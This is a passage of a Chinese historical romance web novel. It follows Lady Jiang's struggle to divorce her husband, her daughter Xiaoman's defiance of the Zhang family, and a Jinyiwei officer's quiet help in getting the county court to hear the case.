只好委屈张小满背这口黑锅了。 刘方咳咳两声,“蒋夫人九成九离不了,你别掺和这事,也别在娘家说长道短。” 秦夫人反问:“你怎么知道她离不了?” 刘方:“古来休妻的多,休夫的有几个?从一而终,可不是说说而已。” “嫁鸡随鸡,嫁狗随狗,嫁个棒槌抱着走,要不说女怕嫁错郎呢。”秦夫人难得地露出几分伤感,又拿眼斜睨着刘方,“还好我没看走眼。” 刘方抱拳作揖,“承蒙爱妻不弃之恩。” 秦夫人噗嗤一乐,儿子不听话的烦恼登时烟消云散。 - 诚如刘方所言,蒋夫人和离之事进行得非常不顺。 方妈妈从应天府回来,单是看她沉重的步子,就知道此行结果不好。 蒋夫人忙命人上茶,“衙门怎么说?” 刚搬家,东西还没归置好,丫鬟还忙着烧水,蒋夫人索性把自己的茶杯推过去。 方妈妈端起来一饮而尽,擦擦嘴角道:“通判不接咱们的状子,说什么闺阃私语不足为凭,纲常不可乱,把我训了一通赶出来了。” 蒋夫人面色有些不好,“没见着府尹王大人?” 这位是蒋老太爷的学生,当年也是蒋家的常客。 方妈妈摇摇头,“没,不过我从衙门出来,一个自称他师爷的人追上我,他说除非丈夫詈辱岳父岳母,虐待妻子致残,官府才有可能判义绝。” 这两条张文都没触犯。 蒋夫人失望极了。 “他还说了个法子,”方妈妈显得有些犹豫,“请宗族调解裁断,只要双方族老同意和离,张文也不能拒绝。” 蒋夫人苦笑道:“我父母皆亡,又因为家产一事得罪全族老小,他们谁肯为我说话?” “要不请姨……” “不行!我给她添的麻烦够多了,再找她帮忙,侯夫人嘴上不说,心里也会埋怨我们姐妹。” 那她们面临的不就是一盘死棋? 屋里登时一片死寂。 门外隐约传来阵阵喧哗,小丫鬟急匆匆进来禀告:“大爷跪在门口不起来,外面围了好多人!” 蒋夫人又惊又怒,“还有一个月就是秋闱,他不要自己的前程了么?” 方妈妈冷冷道:“慢说考中考不中,就是成了举人老爷,也没有金山银山重要!太太,你千万不要心软。” 蒋夫人重重叹息一声,“走吧。” 外面的声音嘈杂不堪,人们的指指点点仿佛穿透了厚重的大门,针一样扎在门内人身上。 蒋夫人深吸口气,打开大门。 汹涌的声浪哗地涌进来。 蒋夫人竟趔趄了下。 方妈妈一把扶住她,恨恨看向跪在门前的张弼,“大公子,跑到别人门前聚众闹事,你书读到哪里去了,还有点廉耻心没有?” 张弼重重叩头,“不孝儿请母亲归家。” 蒋夫人道:“我已决意和离,你回去吧。秋闱在即,你好好读书,别辜负家里的期望。” 张弼流泪道:“父亲病骨支离,老祖母艾发衰容,几个妹妹日夜惶恐,母亲又离家不归,曾经热闹和美的家,如今竟是一副破落衰败的景象,儿子哪还有心思读书?” “子不言父过,父母之事,儿子不敢妄言。儿子自小在外求学,甚少留意家务,未能察觉母亲种种不如意,一切皆是儿子不孝,但求母亲给儿子一个改正的机会!” 说完低头叩首,伏地不起。 时人对读书人有一种天然的推崇,张弼句句孝字当头,言辞真挚恳切,加之长得一表人才,当即博得一众看客的支持。 “孩子都要考试了,啥事不能等考完再说,当娘的咋能这样!” “就是,那可是秋闱啊,我家孩子那时候,我在家连大气都不敢出,就差把他供起来了。” “不伺候婆母,不照顾丈夫,不教养子女,不孝不顺不慈,此等恶妇,不惩戒不足以警示世人!” …… 人群一片谩骂,蒋夫人始料未及,一时竟呆住了。 在人们看来,她的反应分明就是心虚的表现,山呼海啸的骂声袭来,淹没了方妈妈声嘶力竭的分辩声。 张弼跪在地上给人群作揖,祈求大家不要误会了母亲,母亲无过,都是他做儿子的不对。 这更激起人们的同情心,甚至有几个妇人上前,抹着眼泪拉他起来。 方妈妈用力撑着摇摇欲坠的蒋夫人,急急吩咐下人关门。 就在此时,一股污水横空袭来,混着烂菜叶、鸡蛋壳,泛着白沫子,哗啦啦浇在人群脑袋顶。 叽叽呱呱的骂声立时化成惊声尖叫,人们四散而逃,拥堵的门前立刻空出一大片空地,露出冷意森然的张小满。 她把手里的木桶往地上一顿,大步流星走到张弼面前。 不由分说抬手就是一记耳光! 还没等张弼反应过来,他脸上又挨了一巴掌。 张弼怒了,直接从地上蹦起来,“张小满,你疯了!我是你哥,长幼有序,你胆敢以下犯上!” 张小满双手叉腰,狠狠啐道: “我呸!一口一个儿子的,你爹宠妾灭妻的时候,怎么不见你维护太太?你亲姨娘诋毁诬陷太太的时候,怎么不见你指责她以下犯上?” “张家特地通知你回来,他们都不在意你的前程了,凭什么让太太担骂名?你真心觉得自己不孝,就不会演这出负荆请罪,故意让太太难堪。” “你和你爹一样,就是虚伪卑鄙贪婪下流的伪君子!” 她噼噼啪啪好一通,说得又快又急又清晰,根本不给张弼辩驳的机会。 张弼指着她,气得浑身乱颤,好半天才找回自己的嘴。 “放肆!这是为人子女该说的话吗?父母失和,你不说劝解,反倒火上浇油,把这个家搅散了对你有什么好处!” 张小满压根不接他的话。 “真是好笑,你穿的用的吃的喝的,有一文钱是你挣的吗?你爹往公中交过一两银子吗?你们一家子都吃太太的,就连你爹纳妾喝花酒都花太太的嫁妆。你求太太回去,回去做什么,接着掏钱给你们花天酒地?” 却听一个男子道:“且不论张家的是非,妇人的嫁妆补贴家用,再正常不过了。” 不乏附和的人。 “言之有理,哪有妇人自己穿金戴银山珍海味,却看着公婆丈夫吃糠咽菜的道理?” “不嫁人,女子要听父亲的,嫁了人,就要听丈夫的。别说用你的嫁妆,就是打你骂你,甚至卖了你,都不能说个不字。” 小满愕然望着那些男人,又看向在场的女人们。 她们中的大多数都在沉默,也有面露不忿的,却被同伴拦住了。 更有点头称是的老婆婆…… 小满茫然了。 “散开,都散开!”吴勇带十几名皂衣官差疾步而至,问也不问,指挥手下驱散人群。 “抽,给老子拿鞭子使劲抽,这是人家门口,不是看热闹的庙会!” 鞭子雨点般落向人群,吱哩哇啦一阵乱喊过后,看热闹的人散了个七七八八。 吴勇骂五城兵马司不干人事,“亏老子还特意打招呼让他们多照看着,这点小事都办不好,妈的,老子非请他们到北镇抚司喝茶不可。” 一边说,一边偷偷瞄向街角某处。 “吴大哥!”困境中得人相助,小满激动得声音都带了哭腔。 她一哭,吴勇就开始心惊肉跳,“别哭,别哭,大哥来晚了,让你受委屈了。” 小满:“我不委屈,我娘才委屈。” “是是。”吴勇瞪着带来这场委屈的罪魁祸首,“还不快滚,以后不许你再打扰蒋夫人!” 张弼倔强地看向蒋夫人,“儿子冒失了,可迎母亲回家的心是真的,哪里做得不好,母亲只管责罚,儿子绝无二话。” 吴勇翻个白眼,大手从后掐住张弼的脖子,一把抛给手下。 “把人扔回张家去,要饭要得理直气壮,见过不要脸的,没见过这么不要脸的!” “母亲!”张弼挣扎道,“是因为嫁妆你才要和离?我定会问个明白,若是真的,儿子劝他们把嫁妆还给母亲,你能不能留在张家?” 蒋夫人没有回答。 他的声音逐渐消失在街巷深处。 吴勇向蒋夫人行礼,“见过夫人。” 蒋夫人示意方妈妈递红封,“劳烦军爷。” 吴勇摇头又摆手,“可不敢拿,我们大——哎呦喂!” 他呲牙咧嘴地揉着后脑勺,还得费心遮掩,“旧伤复发,旧伤复发,嘿嘿。” 小满问:“你方才说‘我们大’,大什么?” 吴勇绞尽脑汁描补,“大、大……大家,我们大家都是朋友,何必讲这些虚礼?” 小满四下里张望一番,看吴勇的眼神变得有点奇怪。 “我和你上司交恶,按说你不敢照应我们的,为什么特意和五城兵马司打招呼,又来得这样及时,是不是……” 她的声音微微发颤,“是不是陈令安叫你来的?” 第33章 吴勇哪敢说实话, 再三否认,还委屈巴巴说小满伤他心了。 “我一见姑娘就觉得投缘,诚心诚意把你当妹妹看, 你却如此不相信我,太让人难过了。” 小满报以怀疑的目光。 吴勇只好继续编:“好吧,其实我是将功赎罪, 以前我在大人面前说过你的坏话, 挑拨你们的关系,致使大人误会了你。” “你说什么了?” “我说、说……说你和刘瑾书相好。” 小满笑笑,“那你也没说错,我的确和刘公子相好,这是实话, 不算挑拨, 更不是误会。” 吴勇倒吸口冷气, 下意识又望向街角。 小满问他在看什么? 这回吴勇再不敢乱说话, 支支吾吾搪塞几句,提脚溜之大吉。 他没直接回衙门, 在外头转悠好几圈, 琢磨半天上司可能会问什么,他如何回话, 自觉妥了,才回去复命。 他小心翼翼推开签押房的门,觍着脸笑道:“大人, 蒋夫人门前事都处置好了,绝不会再有人打扰她。” 陈令安“嗯”了声,递给他一份案卷,“找人透露给刘瑾书。” 吴勇翻了翻, 都是陈令宜挪用库银、贪墨受贿的罪证,他们锦衣卫前阵子曾呈递皇上。 他不理解,“给他有什么用,皇上都留中不发,他还能说动皇上立案审查?” 陈令安难得耐心给他解释:“刘方在吏部活动,打算让刘瑾书避其锋芒外调江陵,这人还算有几分文人傲骨,如果见了这份罪证,想必不会从命。” 吴勇兴奋得一击掌心,“让他们狗咬狗!不过……” 今日上司态度温和,他胆子也大了不少,“其实刘瑾书走了也挺好,起码不缠着三姑娘了。” 陈令安笑了,“你蛮关心她的啊。” 他一笑,吴勇头皮就发麻,“不不,我是关心大人您!” 陈令安笑意更深,“那真是多谢你了,大——哥——” 吴勇立时满头冷汗,直想叫救命! 等他抱着案宗从签押房出来时,已是两眼迷离,浑身软麻。 狐朋狗友围上来,关切地调侃:“瞧你这幅样子,又被大人骂了不是,这次是扫大街,还是刷马厩?” 吴勇摇摇头,“都不是,他喊我大哥。” 众人奇怪:“谁?” 吴勇长叹一声:“死鸭子。”- 夏日的傍晚总是姗姗来迟,酉时已过,太阳依旧没有落山的意思。 陈令安把处理完的文书归置好,站在窗前,漫无目的地望着那片浓绿欲滴的柳荫林。 白亮亮的光斑在树叶间滑动,在眼底留下点点痕迹。 他不由自主闭上眼睛。 眼前竟是张小满冲着刘瑾书巧笑嫣然的场面! 陈令安霍地睁开眼睛。 一时气血翻腾,胸口憋闷得难受。 真是有病!暗骂一声,他干脆出门透透气。 努力让自己脑子空白一片,什么也不想,就这样慢悠悠溜达着。 恍惚中抬头一看,居然走到张家的巷子口! 陈令安呆了呆,随即转身就走。 这个疯丫头,刚砸破张文的脑袋,又扇肿张弼的脸,张家肯定在气头上,她肯定不会乖乖回家挨罚。 她又能去哪儿,早晚都要回来。 要不要警告下张家人? 他慢慢停下脚步,转过身…… 可既非亲朋,又非故旧,甚至前不久还大吵一架断绝关系,他有什么资格去管她的事? 算了,反正有刘瑾书替她收拾烂摊子,他就算出手,她也不会感谢他。 没准儿还会奚落他一顿。 陈令安又转了回来。 白亮亮的日光逐渐变得昏黄,蒸腾的大地也有了一丝清新的凉意。 夜市开始了,推着小车担着担子的小商贩们忽悠一下出现在街巷两旁,云吞水饺、鸭油包糯米糍粑、烧麦鸭血汤……伴着小贩们长一声短一声的吆喝,不住散发出诱人的香味。 陈令安从不在外面吃东西,今天不知怎的,买了份红糖糯米糍粑。 也不吃,只提着包裹的荷叶包慢慢走。 前面就是聚宝门大街,都能看见张小满那三间铺子的屋檐了。 蒋夫人一走,张家没了金山,肯定会缩减开支,她手头紧巴巴的,说不准会到账房取钱。 算算一个多月过去,他也是时候拿点分红了。 当然,铺子刚开张没多久,没钱给他也正常。 他去,就是要提醒某些人一声,这铺子有他的份子,别人休想打主意。 嘈杂的人群传来几声笑语,莫名的熟悉。 陈令安脚步一顿,循着声音的方向望去。 乳白色的烟气和灰色的暮霭交织处,她俏生生地站在那里,眉眼含笑,罗裙轻扬,手里端着一碟水煎包。 陈令安忍不住笑了声。 这个小吃货,什么时候都不忘了吃! 莫名浑身一轻,他提脚向她走去。 张小满四处张望,看样子是在找谁。 不会是……察觉到他了吧? 似乎每一次,她都能在人群中一眼瞧见他。 陈令安慢慢抬起手。 却见张小满冲另一个方向招手,“这里有位子。” 刘瑾书端着两碗热气腾腾的鸭血粉丝汤,费劲地挤过人群。 陈令安怔住了。 一种尖锐的疼痛从心底搅上来,跟着一阵慌乱,说不清是委屈还是愤怒的情绪在胸膛横冲直撞,几乎让他失去理智。 他不得不屏住呼吸,默默忍耐着,等待着这种狂躁慢慢过去。 看着手里的糍粑,他觉得自己就是个傻子! 熙攘的人群涌过来,什么也看不到了。 人群那头,张小满急忙去接刘瑾书手里的碗,“你也不怕烫!” “别倒手了。”刘瑾书绕过她把碗放在桌子上,手指摸了摸耳垂,“店家太忙,我怕你着急,索性自己来吧。” 小满:“哪就等不得了,小心烫坏你的手指头,赶明儿提不起笔,写不了字,看你怎么在皇上面前交差。” 刘瑾书:“现成的借口,正好请两天假。” 小满抿嘴一笑,递给他筷子,“趁热吃吧。” 鸭血细腻滑嫩,汤底清鲜咸香,别看是市井小民吃的“下脚料”,滋味也着实不错。 水煎包冰花脆底做得极好,咬一口,咔嚓咔嚓脆响,面食特有的酥脆焦香登时在舌尖爆开,配上鲜香多汁的野菜馅儿,丝毫不比家里的精致菜肴差。 刘瑾书吃得痛快极了。 小满突然抬头左右看看。 “怎么了?”刘瑾书问。 小满小声说:“好像有人在看我们。” 这时有人喊了声“表哥”。 秦珏平和几个年轻男子说笑着走近,身上的彪补子绯色官服还没换,看来是刚下值。 刘瑾书的表情松懈下来。 “你居然吃路边摊?”秦珏平眼睛瞪得溜圆。 刘瑾书面上划过一丝尴尬,“吃个饭而已,也值得你大惊小怪的。” “你也不怕姑姑知道了骂你!”秦珏平大笑,“你们不晓得,我姑姑觉得路边摊不干净,从来不让我哥吃。” “小时候我们逛庙会,人人手里一大堆吃的喝的,只有表哥两手空空,眼巴巴看着我们大吃大喝,馋得口水都要流下来啦!” 秦珏平调皮地对小满挤挤眼,“表哥又在嫂嫂这里破戒了。” 他说得露骨,惹得小满飞红了脸,又不好却刘瑾书的面子,只能嗔怪道:“净拿我打趣,等我告诉姨母,你就等着挨板子吧。” 三人说笑几句,秦珏平准备告辞了。 刘瑾书叮嘱道:“今天张家人跑到蒋夫人那里瞎闹,我在御前不自由,你得空多去蒋夫人那里转转。” 秦珏平笑道:“还用你说?我正要去呢!不过我刚听说北镇——” 他突然话音一顿,视线落在前方某处。 小满好奇地回头去看。 天光幽暗,点点昏黄光晕连绵蜿蜒,陈令安负手站在光影交错的地方,表情淡淡的,也不知道站了多久。 啪嚓,小满手里的筷子掉了。 刘瑾书不动声色地递给她一双新筷子,有意无意的,挡住了她望向陈令安的视线。 “呦,陈大人。”秦珏平首先打破这微妙的尴尬,“好巧,你也来吃饭。” 陈令安:“废话,不吃饭难道来抓你?” 刘瑾书冷声道:“有事冲我来,用不着阴阳怪气挤兑别人。” “说得你能撑起【踏雪独家】来似的。”陈令安鼻子哼了声,“一个陈令宜就逼得你不得不离开京城,还豪言壮语保护别人,也不怕闪着舌头。” 刘瑾书愕然,“谁说我要走?没有的事!” “令尊亲自向陈绍求来的调令,现在就摆在司礼监桌子上,只差请皇上朱批了。所有人都知道,就你一人不知道?呵,装糊涂骗大傻子呢。” 说着,陈令安不自觉地瞅了眼兀自发愣的张小满。 情知他项庄舞剑,刘瑾书此时也顾不得了,他必须马上找到父亲,撤销调令! 他匆忙交代秦珏平送小满回去,神色凝重地走了。 秦珏平左右瞧瞧,一个呆坐,一个僵立,谁也没有要离开的意思。 他突然担心表哥了…… 好在小满没让他尴尬太久,站起来说:“我走了,你去看母亲吧,不用送我。” 秦珏平瞅瞅陈令安,没动地儿。 小满也看过来,“是你让吴大哥来替母亲解围吧,多谢了。” 陈令安冷冷笑了声,“这不是刘大人的未婚妻,未来的阁老夫人?我怎么当得起你的谢,可别折死我!” 小满脸色一僵,扭头就走。 不多说一句话,没有如从前那般张牙舞爪和他理论。 陈令安嘴唇颤抖了下,想说什么,却什么也说不出来。 秦珏平惊讶挑眉,迅速收回对表哥的担心。 就凭这张嘴,追到女孩子才见鬼! 转眼间原地只剩陈令安一人了。 他木着脸慢慢地向前走,穿过熙攘人群,街巷逐渐变得僻静。 “陈令安!”是张小满在喊他。 他兴奋回头。 身后空无一人。 陈令安呆滞片刻,突然把手里的红糖糍粑用力一扔。 扑通,河面溅起好大的水花,惊起野鸭无数- 夜幕沉沉,张家正院灯火通明,库房大开,下人们一窝蜂地跑来跑去,嘈杂得像菜市场。 边老太太脸色阴沉坐在廊下,孙姨娘侍立一旁,脸色惨白,但神情还算镇定。 库房前,张文拄着拐,满口咒骂蒋夫人。 张弼一进来就看到这幅场面 “怎么回事?”他扯过小厮问。 小厮朝库房努努嘴,“太太把家当全卷跑了,库房里连根毛都不剩,老爷正发脾气呢。” 张弼抬手就是一巴掌,“狗奴才,什么叫卷跑了?这是太太的私库!就是你们这些狗东西引风吹火,生生挑拨得老爷太太不合!” 小厮犹自不服,“这是老爷的原话,大公子和老爷辩去,打我作甚!活儿没少干,钱一文没有,哪家奴才有我们闹心……” 气得张弼要叫人牙子来卖了他。 小厮不惧,“我签的是活契,你卖我我就去官府告你。” 孙姨娘忙过来劝和,“都少说一句吧,老太太老爷还在呢。” 张弼愤愤,“没规没矩,家里怎么变成这个样子,太太在的时候可不是这样!” 孙姨娘垂眉敛目道:“大公子教训得对,是我没有管好家。” 张弼心里乱糟糟的,说话也带着怨气,“正房太太在,妾室管家像什么话,若非如此,太太也不会气得离家。” 他一甩袖子,直接走人。 孙姨娘站在原地,面皮白了又红,红了又青,好一会儿才缓过劲,挪动脚步来到廊下。 张弼倔起来不分对象,对着边老太太张文就是一通苦口婆心的说教。 “我还以为三妹妹是胡说的,原来祖母父亲真打了太太嫁妆的主意。君子爱财,取之有道,听孩儿一句劝,关上库门,好好向太太赔罪,请她回来吧。” 张文气得发笑,“我向蒋氏赔罪?亏你说得出口,你到底是谁的儿子,胳膊肘往外拐。” 张弼直白道:“生母姚氏,嫡母蒋氏。” 一句话把张文噎得说不出话来。 “父亲,咱们都是读圣贤书的人,为几两银子落得个贪财好利的名声,叫儿子在老师同窗前如何抬得起头?” 张弼跪下了,灯光映在他扬起的脸上。 “你脸怎么了?”边老太太拉过孙子就着烛火一看,惊呼出声,“肿了,谁打的?” 张弼闷声道:“孙子应得的,不怪谁。” “恐怕是三姑娘吧。”孙姨娘轻声插嘴,“她后晌出了门,九成九去找太太。” 边老太太大怒,却扇孙姨娘一耳光,“你怎么管的家,谁让她出门的?也不禀报一声,你胆子也太大了!” 孙姨娘刚刚和缓下来的脸再次涨红。 边老太太忙着心疼孙子,张文急着追问“负荆请罪”的结果,下人们看着正院没来及搬走的物件,眼珠滴溜溜乱转…… 根本没有人在意她的感受。 孙姨娘拳头握紧,松开,再握紧,再松开。 终于,在张弼再次苦苦劝说老爷偿还所花费的太太嫁妆时,她冷冷开口了。 “偿还?大公子说得轻巧,不如你先还钱吧。从小到大,四季衣衫各十六套,月银二两,三岁启蒙,又有笔墨费二两。书院束脩食宿一年二十两,人情往来还要一二百两!” “你院子里大丫鬟四个小丫鬟六个老妈妈两个,贴身长随四个,院中粗使仆役十二个,光这些伺候你的下人,一个月至少三十两,还不算逢年过节的红封。” “你屋里的古籍字画,宋纸徽墨,端砚湖笔,钧窑瓷器,紫檀家具,蜀锦杭绸……林林总总算起来,没个三五万银子可拿不下。” “这些都是从太太嫁妆里出的,大公子不妨算算,二十一年了,你该还太太多少银子。” 张弼僵僵地跪在那儿,这一笔笔开销砸下来,他从最开始的震惊、不敢相信,到现在已是昏然呆然,接近麻木了。 孙姨娘却还不肯放过他,“还有,你姨娘从良的七千两赎身银子,也是太太的钱。” 张弼只觉脑袋轰一声,血全倒涌上来,涨得他眼冒金星耳鸣阵阵几欲晕倒。 “闭嘴!”边老太太这时才出声喝止,吩咐人扶孙子回去休息。 张弼推开丫鬟的手,摇摇晃晃起身去了。 他去了张君懿那里。 个把个月不见,张君懿腮边的肉都瘦没了,眼睛也凸了出来,枯黄干瘦,竟是一点生气都没了。 桌上摆着两个窝头,一碟腌萝卜丝,别说荤腥,连油水都没有。 张君懿把窝头往大哥面前推推,“高粱和豆渣做的,别有一番风味,你也尝尝。” “我哪有心情吃东西。”张弼摇头叹息,“如果你我是太太生的就好了。” 张君懿一怔,随后嘴角浮现一丝讥诮。 两人对坐无言,张弼觉得没意思,又走了。 张君懿把窝头掰成一小块一小块的,胡乱嚼几下,直着脖子强咽下,不小心被豆渣呛到,一阵猛咳。 咳着咳着,她哈哈大笑起来。 眼泪流了满脸- 夜晚潮湿溽热,越加让人心烦气躁。 小满翻了一晚上烧饼,一闭眼,就是陈令安那张气死人不偿命的脸,一睁眼,还是那张脸! 那天之后,她强迫自己不去想陈令安,强迫自己忘记他的一切,尝试着有个新开始。 她几乎以为自己要成功了。 结果他一露面,不过一句话,就把自己打回原形! 她暗骂自己没出息,却忍不住琢磨他那话到底什么意思。 单纯就是心里窝火瞧自己不顺眼,还是看她和刘瑾书在一起心里老大不自在? 如果是后一种…… 她的心砰砰跳。 蓦地,耳边响起陈令安冷冰冰的声音:“不要以为我对你释放出好意,就自认为是特别的,这样显得你很随便。” 咕嘟咕嘟冒泡泡的脑袋立刻就冷静了。 与其琢磨男人的诡异心思,还不如想想怎么帮母亲和离! 照现在的情形看,张家绝不会签“放妻书”,用侵占嫁妆的舆论压制张家的法子也不奏效,要命的是应天府还不接诉状! 该怎么办呢? 小满长一声短一声叹息着,翻来覆去琢磨着,直到天色微明,才朦胧睡去。 心头压着事,脑子里那根弦就不敢放松,似醒非睡间,一道白光从脑中划过,她腾的一下坐了起来。 江宁县衙! 在京师,除了应天府衙门,还有两个附郭县上元县与江宁县,以秦淮河为界,北边归上元县,南边归江宁县,同城分治。 张家地处江宁县的管辖范围。 江宁县令与陈令安有几分交情,哪怕拉大旗作虎皮,也得让县衙接下诉状。 反正他欠自己的! 说干就干,小满匆匆梳洗换衣。 走到二门时却被孙姨娘拦了下来,“外面沸沸扬扬全是说太太和离的,这阵子姑娘还是不要出门了,传到亲家耳朵里,万一影响到亲事就不好了。” “还没下定呢,哪儿来的亲家?”小满上下打量她一眼,“姨娘对我的亲事格外上心,真让我惊讶。” 孙姨娘面色不改,“老太太既让我管家,我就有责任照顾好张家每一位姑娘。” 小满道:“那真是谢谢你啦!不过你有关心我的功夫,不如瞧瞧五妹妹去,前儿个我见她瘦了不老少,精神头很差,说话有气无力的,也不怎么吃饭。” 孙姨娘笑了笑,“女孩子大了,知道美丑了,劝不动的。” 小满挑挑眉,绕过她走了。 孙姨娘又追上来,“起码要让我知道你去哪里,老太太问起来,我也有话说。” “刘家,给秦夫人请安去。”小满头也没回。 出了大门,她专捡着人多的地方走,那是左拐右绕,很快没了影儿。 后面跟梢的门子傻了眼。 小满躲在犄角旮旯抿嘴一笑,悠悠然前往江宁衙门去了- 听说是陈令安的妹妹来访,县令郑峳采心里直犯嘀咕,他妹子丢了快十年了,哪儿又来个妹妹? 可谁敢冒充陈令安的名头行事,命还要不要啦? 本着宁错过勿放过的原则,没纠结多久他就出来了,扫量着小满问:“敢问姑娘是……” 他一露面,小满就知道今天的事八成有戏,因笑道:“我姓张,行三,从宣府过来的。” 郑峳采恍然大悟:原来是那个把陈令安脑袋砸出坑的青梅妹妹! “久仰,久仰。”他发自肺腑感慨一声,又问,“今日姑娘来此,有何贵干啊?” 小满面露难色,哀叹道:“是我母亲和离的事,府衙那边不接诉状,我实在不知道怎么办了。” 郑峳采咳咳两声,府衙不接,我县衙更不能接呀! 小满眼睛闪闪,轻声道:“令安哥指点我:你只管找郑大人去,就说我说的,他敢不接,我把他脑袋拧下来当球踢。” 第34章 阿嚏—— 一阵阴风吹过, 陈令安重重打了个喷嚏。 郑峳采抱着一摊子酒推门而入,“老弟,热伤风啦?” “你就不盼我点好。”陈令安请他坐下, “今儿怎么有空到我这里来。” 郑峳采叹气,“你给老哥哥出了个难题,我是没招儿了, 还得来找你。” 陈令安听得莫名其妙, “到底出什么事了?” “还不是张家太太和离的案子,你那妹子都找上门来了!我上司都不接,你非让我接,我可怎么接?接了怎么审?以后同僚们怎么看我啊!” 郑峳采满面愁容,不住摇头, 一面觑着眼瞧。 陈令安脸色有点古怪, 似笑非笑, 似恼非恼, 甚至还有丝丝的忐忑,像是期盼着什么又像是害怕着什么。 瞧得郑峳采大为惊奇。 陈令安缓缓道:“你是先帝二十一年的进士, 资历比应天府尹都老, 早该晋升了,却一直被他压着。我要是你, 就接,不为别的,只为出这口恶气。” 郑峳采捻着山羊胡子沉吟道:“怕我肯定不怕他, 就是这案子没法审,清官难断家务事,谁是谁非说不清楚。” “有什么说不清楚的,穷书生吃绝户, 虐待妻子,侵占老丈人家财,多明白的案子。” 呦呵,还没审呢,先给结论了。 郑峳采还是犹豫,“可是坊间支持张家的呼声很高,要是判和离,恐怕我要被人们的唾沫星子淹死。” 陈令安嗤笑一声,“你还真是傻实诚,升官靠什么?” 郑峳采眨巴眨巴眼。 “靠坊间那些赞美,还是靠皇上的赞誉?” “当然是皇上!” “你们只顾着维护所谓的风俗良序,却忘了皇上对张文的评价——不才。” 不才,就是无能,不体面,不名誉。 郑峳采似懂非懂,“记得呀,嗨,就妻妾那点破事,居然一撸到底,他也真够倒霉的。” 陈令安冷冷笑了声,“是呢,后宅私事,训诫就够了,为何从二品贬到七品……” 郑峳采的小豆眼立刻精光四射,“莫非另有隐情?” 陈令安上身前倾,郑峳采见状忙凑过来,可陈令安又坐了回去。 “不好说,说不好。”他摇摇头,“事涉宫闱,我只能告诉你,皇上余怒未消,想起一次,心里就怄一次。” 宫闱!郑峳采倒吸口气。 这口闷气,总得有人替皇上发出来。 怪不得陈令宜那么爱财的人都不愿意拉张文一把,还踩一脚。 把皇上的心思拿捏得死死的,这对陈家兄弟不得了哇! 郑峳采目露钦佩,大力拍陈令安的肩膀,“好兄弟,放心吧,这件事交给我,必定办得漂漂亮亮让人挑不出毛病。” 陈令安拱手,“多谢了。” “都是替皇上办事,谈什么谢不谢的。”郑峳采一摆手,忽又迟疑了下,“皇上的意思……” 陈令安微微叹道:“等皇上明示了才干活儿,一辈子也别想出头。” “那是,那是……你忙着,这坛子汾酒留着喝。”郑峳采笑了几声,起身告辞。 走了几步回身道:“你我多少年的交情了,你开口,我没有不应的道理,就别说脑袋当球踢的顽笑话了,老哥哥我听着瘆得慌。” 陈令安微微一顿,下意识摸了摸脖子,嘴角上扬,又飞快地压了下去- 江宁县衙接了蒋夫人的和离诉状! 看着面前的差役,张文几乎不敢相信自己的眼睛。 “假的,假的,怎么可能……” 差役一展堂票,“上头有县衙大印,七日后巳时正升堂问审,晚到可是要挨板子的。” 说罢把堂票往桌上一拍,扬长而去,瞄也没瞄孙姨娘递上去的红封。 张文两眼一翻就要晕。 “废物!”边老太太一巴掌把他拍醒,“慌什么,还没判呢,就是判和离,她也休想带走一个大钱。” 张文以袖遮面,“我不是怕升堂,我是丢不起这个人。” 边老太太道:“她都不怕丢人,你怕什么?到时我和你一起去,要是敢乱判,我就死给他们看。” 张文内心稍安,一面说着“何止如此”,一面奇怪江宁县衙为什么接状子,“应天府都没接,府尹还是她爹的学生。” 边老太太问孙姨娘,“前两天三丫头是不是出门了?” “是,去刘家给秦夫人请安。”孙姨娘低垂着眼帘答道,“门子盯了一路,也说她没去别的地方。” 她不知道,那门子把人跟丢了,怕她骂人,更怕拿不到赏钱,干脆在外面晃悠一圈回来,敷衍了事。 边老太太眉头紧皱,“难道刘家压着县衙接的?” “一准儿是!”张文怒道,“那小婊子仗着刘瑾书撑腰,生生要把咱们逼上绝路,好独吞这一份家财。” 边老太太眼中闪过一瞥阴寒的光,“打今儿起,她的吃食不从大厨房走,叫我院子的小厨房单独做。” 孙姨娘伴她多年,立刻明白了她的用意。 “这……不大好吧,刘公子把三姑娘看得眼珠子似的,万一有事,岂能善罢甘休?” 边老太太冷冷看过来,“有事也是我和老爷顶在前面,用得着你多嘴?收起你那点鬼心眼,别以为天下只你一个聪明人。” 孙姨娘低头不说话了。 张文不知想起了什么,不乏懊悔,“如果留下个孩子,她也不会这么闹腾了。” 边老太太的目光又灰又暗,脸色阴沉一言不发。 但听屋外风掠树梢,簌簌乱响,孙姨娘一激灵,竟打了个寒颤- 蒋夫人也在奇怪。 县官儿和府尹拧着干,还不等着穿小鞋? 大概有人递了话。 想问问小满,这丫头却好几天没露面,只捎口信说自己很好,她想问都找不到人。 “是不是侯府托人请江宁县衙帮忙?”方妈妈猜测道。 蒋夫人摇头,“应该不是,如果是他们,妹妹会提前和我打招呼,没准儿是刘家。” 她越想越觉得是,“刘公子对小满情深义重,从来都是不遗余力帮咱们,他备受文人推崇,再加上刘老爷入阁,江宁县衙肯定会给刘家面子。” 方妈妈却说:“三姑娘说他正为外放的事烦着,有精力管咱们的事?” “不是他,又是谁?”蒋夫人笑道,“总不能是陈令安吧!” 话音甫落,俩人的眼皮同时重重一跳。 蒋夫人定定神,“先准备诉讼吧,衙门接了案子不代表咱们能打赢官司。不管是谁暗中帮咱,也不能白费了人家这片心。”- 江宁衙门贴出的告示牌几乎惊动了半个金陵城,饶是蒸煮闷热的三伏天也挡不住人们看热闹的劲头。 一边围观一边争辩谁对谁错:“真不害臊,天底下女人的脸算是被她丢尽了。” “笑死人,你又不是女的,丢不丢脸关你屁事?” “就是,能把女的逼上公堂也要和离,那男人能是什么好货色。” “嗐夫妻间的事谁说得清楚,听说男的被罢了官,女的出身又高,肯定是瞧不上丈夫想另择高枝儿。” “若女子都如她一般只能同甘不能共苦,视三从四德于无物,必将礼崩乐坏,纲常沦丧,世衰道微也。” 衙门外正议论着,忽人群一阵骚乱,便见一位衣着朴素的妇人由官差引着出现在大堂上。 谁不想瞅瞅这个贵妇长得啥模样啊,人们立刻涌上前,差点把大堂前的行马挤翻了。 蒋夫人微微低着头,那一道道目光好像烧得通红的烙铁,生生把“刁妇”烙在她的脸上。 饶是做好了心理准备,她也有点受不住了。 此时三通鼓响,三班衙役手持水火棍迅速聚合列队,大堂上低沉威严的唱和声传出来,“威——武——” 官老爷升堂开审了。 郑峳采手持诉状,表情肃静,“蒋氏!” 蒋夫人深吸口气,“民妇蒋氏,拜见大人。”说着,就要循礼跪下。 